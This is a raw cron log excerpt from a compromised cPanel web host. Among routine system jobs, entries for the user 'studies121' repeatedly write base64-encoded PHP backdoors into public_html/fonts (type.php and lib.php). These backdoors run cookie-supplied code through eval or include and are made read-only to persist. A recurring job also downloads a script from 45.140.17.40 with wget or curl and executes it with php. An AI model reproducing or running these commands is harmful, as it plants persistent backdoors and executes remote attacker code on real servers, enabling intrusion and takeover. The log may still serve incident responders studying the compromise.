Sep 22 08:41:01 ip-184-168-122-23 CROND[29491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:41:01 ip-184-168-122-23 CROND[29495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:41:01 ip-184-168-122-23 CROND[29494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:41:01 ip-184-168-122-23 CROND[29496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:42:01 ip-184-168-122-23 CROND[29620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:42:01 ip-184-168-122-23 CROND[29619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:42:01 ip-184-168-122-23 CROND[29624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:42:01 ip-184-168-122-23 CROND[29623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:42:01 ip-184-168-122-23 CROND[29625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:43:01 ip-184-168-122-23 CROND[29821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:43:01 ip-184-168-122-23 CROND[29822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:43:01 ip-184-168-122-23 CROND[29820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:43:01 ip-184-168-122-23 CROND[29824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:44:01 ip-184-168-122-23 CROND[29969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:44:01 ip-184-168-122-23 CROND[29972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:44:01 ip-184-168-122-23 CROND[29971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:44:01 ip-184-168-122-23 CROND[29975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:44:01 ip-184-168-122-23 CROND[29976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:45:01 ip-184-168-122-23 CROND[30128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:45:01 ip-184-168-122-23 CROND[30130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:45:01 ip-184-168-122-23 CROND[30133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:45:01 ip-184-168-122-23 CROND[30134]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 22 08:45:01 ip-184-168-122-23 CROND[30135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:45:01 ip-184-168-122-23 CROND[30136]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:45:01 ip-184-168-122-23 CROND[30137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:46:01 ip-184-168-122-23 CROND[30285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:46:01 ip-184-168-122-23 CROND[30286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:46:01 ip-184-168-122-23 CROND[30288]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 08:46:01 ip-184-168-122-23 CROND[30294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:46:01 ip-184-168-122-23 CROND[30291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:46:01 ip-184-168-122-23 CROND[30293]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 08:46:01 ip-184-168-122-23 CROND[30295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:47:01 ip-184-168-122-23 CROND[30426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:47:01 ip-184-168-122-23 CROND[30428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:47:01 ip-184-168-122-23 CROND[30427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:47:01 ip-184-168-122-23 CROND[30430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:48:01 ip-184-168-122-23 CROND[30598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:48:01 ip-184-168-122-23 CROND[30599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:48:01 ip-184-168-122-23 CROND[30603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:48:01 ip-184-168-122-23 CROND[30605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:48:01 ip-184-168-122-23 CROND[30606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:49:01 ip-184-168-122-23 CROND[30806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:49:01 ip-184-168-122-23 CROND[30807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:49:01 ip-184-168-122-23 CROND[30808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:49:01 ip-184-168-122-23 CROND[30809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:50:01 ip-184-168-122-23 CROND[30985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:50:01 ip-184-168-122-23 CROND[30986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:50:01 ip-184-168-122-23 CROND[30984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:50:01 ip-184-168-122-23 CROND[30989]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 08:50:01 ip-184-168-122-23 CROND[30994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:50:01 ip-184-168-122-23 CROND[30992]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 08:50:01 ip-184-168-122-23 CROND[30993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:50:01 ip-184-168-122-23 CROND[30991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:50:01 ip-184-168-122-23 CROND[30996]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:51:02 ip-184-168-122-23 CROND[31199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:51:02 ip-184-168-122-23 CROND[31202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:51:02 ip-184-168-122-23 CROND[31203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:51:02 ip-184-168-122-23 CROND[31204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:52:01 ip-184-168-122-23 CROND[31336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:52:01 ip-184-168-122-23 CROND[31337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:52:01 ip-184-168-122-23 CROND[31339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:52:01 ip-184-168-122-23 CROND[31341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:52:01 ip-184-168-122-23 CROND[31343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
